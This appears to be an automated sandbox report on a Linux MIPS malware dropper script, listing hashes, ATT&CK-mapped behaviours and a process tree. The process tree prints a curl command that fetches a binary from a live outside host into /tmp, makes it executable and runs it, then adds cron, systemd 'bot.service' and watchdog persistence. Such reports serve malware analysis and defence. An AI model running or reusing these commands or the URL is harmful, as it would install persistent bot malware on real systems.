6b2c65448b82ed4002ae3f37c35ad6721c6f65e299241ba724db6c1422ddacde

Analysis

max time kernel
133s
max time network
4s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
17/08/2026, 12:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
dl.sh
Size 4KB
Sample260817-pnw4jabl21
SHA256 6b2c65448b82ed4002ae3f37c35ad6721c6f65e299241ba724db6c1422ddacde
MD5 75ebf52f719172f9a774b0968ff4c5d5
SHA1 c6b69fc64f27ed9c5998a8c6f107d89dffce4f2f
SHA512 f0da857052b706e3ead6e27a41b3b153f22b239f50c16b8fb23c905a0a2d247ac18ef954a506644459b441b039b0b8330fedbbbe2e50a9a1eb29ace7f0dbf346
SSDEEP 96:EqAChsRrPO2LGWUiRe1ijL9i7vt7Oi/8r0Vi+wjb98dni:ESsN26GWUiRe1ijL9ilX0rqe5uni
TLSH
T18E9155E1FAF19432355E447D62999165B6870633060A380470DDA834BF6E1BDF33A33D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation upx

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
746	chmod
804	chmod

Executes dropped EXE 7 IoCs

ioc	pid	Process
/tmp/.m_http	748	dl.sh
/tmp/watchdog.sh	805	dl.sh
/tmp/.m_http	811	watchdog.sh
/tmp/.m_http	888	watchdog.sh
/tmp/.m_http	899	watchdog.sh
/tmp/.m_http	909	watchdog.sh
/tmp/.m_http	919	watchdog.sh

Creates/modifies Cron job 1 TTPs 2 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.p5ASNO	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.MKHHGa	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/bot.service	dl.sh

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/fstream-1.dat	upx

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
720	base64

Reads CPU attributes 1 TTPs 10 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep

Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/9/status	pgrep
File opened for reading	/proc/898/cmdline	pgrep
File opened for reading	/proc/73/status	pgrep
File opened for reading	/proc/76/cmdline	pgrep
File opened for reading	/proc/109/cmdline	pgrep
File opened for reading	/proc/22/status	pgrep
File opened for reading	/proc/123/status	pgrep
File opened for reading	/proc/385/status	pgrep
File opened for reading	/proc/713/status	pgrep
File opened for reading	/proc/22/status	pgrep
File opened for reading	/proc/9/cmdline	pgrep
File opened for reading	/proc/150/status	pgrep
File opened for reading	/proc/20/cmdline	pgrep
File opened for reading	/proc/22/cmdline	pgrep
File opened for reading	/proc/713/cmdline	pgrep
File opened for reading	/proc/241/status	pgrep
File opened for reading	/proc/79/status	pgrep
File opened for reading	/proc/74/status	pgrep
File opened for reading	/proc/346/cmdline	pgrep
File opened for reading	/proc/172/status	pgrep
File opened for reading	/proc/81/cmdline	pgrep
File opened for reading	/proc/704/cmdline	pgrep
File opened for reading	/proc/23/status	pgrep
File opened for reading	/proc/37/status	pgrep
File opened for reading	/proc/257/cmdline	pgrep
File opened for reading	/proc/77/status	pgrep
File opened for reading	/proc/23/cmdline	pgrep
File opened for reading	/proc/678/cmdline	pgrep
File opened for reading	/proc/12/status	pgrep
File opened for reading	/proc/241/status	pgrep
File opened for reading	/proc/70/status	pgrep
File opened for reading	/proc/713/status	pgrep
File opened for reading	/proc/675/status	pgrep
File opened for reading	/proc/3/status	pgrep
File opened for reading	/proc/82/status	pgrep
File opened for reading	/proc/14/status	pgrep
File opened for reading	/proc/10/cmdline	pgrep
File opened for reading	/proc/9/status	pgrep
File opened for reading	/proc/157/status	pgrep
File opened for reading	/proc/15/cmdline	pgrep
File opened for reading	/proc/70/status	pgrep
File opened for reading	/proc/349/cmdline	pgrep
File opened for reading	/proc/16/status	pgrep
File opened for reading	/proc/385/cmdline	pgrep
File opened for reading	/proc/36/status	pgrep
File opened for reading	/proc/36/cmdline	pgrep
File opened for reading	/proc/4/cmdline	pgrep
File opened for reading	/proc/123/status	pgrep
File opened for reading	/proc/157/status	pgrep
File opened for reading	/proc/711/cmdline	pgrep
File opened for reading	/proc/124/cmdline	pgrep
File opened for reading	/proc/808/status	pgrep
File opened for reading	/proc/20/status	pgrep
File opened for reading	/proc/5/cmdline	pgrep
File opened for reading	/proc/70/cmdline	pgrep
File opened for reading	/proc/675/cmdline	pgrep
File opened for reading	/proc/74/status	pgrep
File opened for reading	/proc/11/status	pgrep
File opened for reading	/proc/805/cmdline	pgrep
File opened for reading	/proc/sys/kernel/osrelease	pgrep
File opened for reading	/proc/13/cmdline	pgrep
File opened for reading	/proc/36/cmdline	pgrep
File opened for reading	/proc/20/cmdline	pgrep
File opened for reading	/proc/73/cmdline	pgrep

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
726	curl

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.m_http	curl
File opened for modification	/tmp/watchdog.sh	dl.sh

/tmp/dl.sh
/tmp/dl.sh
1⤵
- Executes dropped EXE
- Modifies systemd
- Writes file to tmp directory
PID:715
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:720
- /usr/bin/tr
  tr -d "\\n"
  2⤵
  PID:721
- /bin/uname
  uname -m
  2⤵
  PID:723
- /usr/bin/curl
  curl -sf --connect-timeout 5 --max-time 30 http://vps.atlas101.us.kg/flutter.mips -o /tmp/.m_http
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:726
- /usr/bin/stat
  stat "-c%s" /tmp/.m_http
  2⤵
  PID:745
- /bin/chmod
  chmod +x /tmp/.m_http
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /bin/sleep
  sleep 2
  2⤵
  PID:749
- /tmp/.m_http
  /tmp/.m_http
  2⤵
  PID:748
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:756
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:757
- /bin/grep
  grep -v /tmp/.m_http
  2⤵
  PID:758
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:760
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:761
- /bin/grep
  grep -v /tmp/.m_http
  2⤵
  PID:762
- /bin/cat
  cat
  2⤵
  PID:763
- /bin/systemctl
  systemctl daemon-reload
  2⤵
  - Enumerates kernel/hardware configuration
  PID:764
- /bin/systemctl
  systemctl enable bot.service
  2⤵
  - Enumerates kernel/hardware configuration
  PID:777
- /bin/systemctl
  systemctl start bot.service
  2⤵
  - Enumerates kernel/hardware configuration
  PID:797
- /bin/cat
  cat
  2⤵
  PID:802
- /bin/chmod
  chmod +x /tmp/watchdog.sh
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /bin/rm
  rm -f /tmp/.m_http /tmp/.m_tftp /tmp/.m_ftp
  2⤵
  PID:806
- /tmp/watchdog.sh
  /tmp/watchdog.sh
  2⤵
  - Executes dropped EXE
  PID:805
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_http
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:808
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_tftp
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:809
- - /bin/sleep
    sleep 30
    3⤵
    PID:812
- - /tmp/.m_http
    /tmp/.m_http
    3⤵
    PID:811
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_http
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:886
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_tftp
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:887
- - /bin/sleep
    sleep 30
    3⤵
    PID:889
- - /tmp/.m_http
    /tmp/.m_http
    3⤵
    PID:888
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_http
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:897
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_tftp
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:898
- - /bin/sleep
    sleep 30
    3⤵
    PID:900
- - /tmp/.m_http
    /tmp/.m_http
    3⤵
    PID:899
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_http
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:907
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_tftp
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:908
- - /bin/sleep
    sleep 30
    3⤵
    PID:910
- - /tmp/.m_http
    /tmp/.m_http
    3⤵
    PID:909
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_http
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:917
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_tftp
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:918
- - /bin/sleep
    sleep 30
    3⤵
    PID:920
- - /tmp/.m_http
    /tmp/.m_http
    3⤵
    PID:919

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

bot.service

Path /etc/systemd/system/bot.service
Size 157B
SHA256 5dbe891da840439d9b6aaf3fb24768d7feb17b484d9a994d00c4432dbad65664
MD5 14d48323567f0aef3f72adbbd390f008
SHA1 e57d522a2244e197a50f416085095187c04b244d
SHA512 98fd0e95cbc1c5d10bbf3aa894351d012660a08f2c2cbf6c81bc8c898ac2b5b6fd8d2ee53e52df5059ea873ccb6aecdb36a89971e58e4003e746078ad551b4e4
TLSH
T1BBC08C63BA6024A18D0B3AB28FB26B408E2043804BCEA2781BD0181D14E118761219AE
MD5 SHA1 SHA512 TLSH

Submit Download

.m_http

Path /tmp/.m_http
Size 123KB
SHA256 562cf6d6cc50b4f1fc7117315ca8c08797c934e11619eb1a30fab168aa90f0ba
MD5 2c75eb277677d22b925ec489397c7cb1
SHA1 3a044892843f34f69aa8d76a63b407c1776bf30c
SHA512 7d63379f0f89421821f854a45891bf99a2af2e642b97d01e122eb7329759bcaeeec4f8fe0a6d8c4c70894e9448079bd70e4729558731c1c5b0be58d435da5bff
SSDEEP 3072:TuPf6tqntM1xWKzRef/4/ynn3XZSXGIP4MEGLSEglx:qn6tqnCGEG4/ynn3pJO4MtmEglx
TLSH
T127C3125F9500F8879018DD72337A27EF65FA082D4D5E90CE8CC49D019AFA2BD9164DAF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

watchdog.sh

Path /tmp/watchdog.sh
Size 173B
SHA256 2e4dafe2c008a006bcb9f674c5eef94124ad5751ef8f00a0a5493d781e851a01
MD5 1bc1dd5fa84c14c24241a73676abaeea
SHA1 def93fbddd84d83f0112b76d1aa41035635cc98b
SHA512 c2920814eae500053da4a9a53838aa7b5c23070e49475db5e5906b8fd6eac000e4c3d5d7b3648f464790cb1b0eab68e718d8796b740801320135dfc3b13e37a8
TLSH
T174C080F1F510CC333E0549B9A5D85014B253D323545F6558308E1C383F493C43161739
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.MKHHGa

Path /var/spool/cron/crontabs/tmp.MKHHGa
Size 218B
SHA256 b74c535a7f6fc6a53f1e1333714c37e639f2164c7bc0d3994e5a4afcb964564c
MD5 a6802821e00f44a99a8cb10d4949269f
SHA1 e4f60f05b81ddaf884a58298e8b91f5d1f972596
SHA512 5f27179865e6ca79647cafc5d5d7ed26b54b95332926ad5e207b282a847d41e5aec942f41e215490df8e8ec1df33fc3e5d312b811adb76a09be522f6e41e8b72
TLSH
T18CD0A7697F201C3025080B55615E1329D9429279C00D7E50D0ED1414020A38D7B50E25
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.p5ASNO

Path /var/spool/cron/crontabs/tmp.p5ASNO
Size 214B
SHA256 df34ebc03039631083bd94f8377c68851a00853effa367759214f7ac154b2e83
MD5 70d2fc20621bd6116038259418ae98ee
SHA1 f16ed944274dd46d862257f6ded41e8e4b9614ef
SHA512 1d94a37fe8469e7647ac9ba063af6bcb60a0da38ad5212b18ced186e26990112add75395dac0baf15525c864999a325481658867344314bcfcdc2cbd9b0e6601
TLSH
T157D0235D7F101D3135080F45311E1218DD42953DC04D7E40D0DD643442075CC7750E75
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads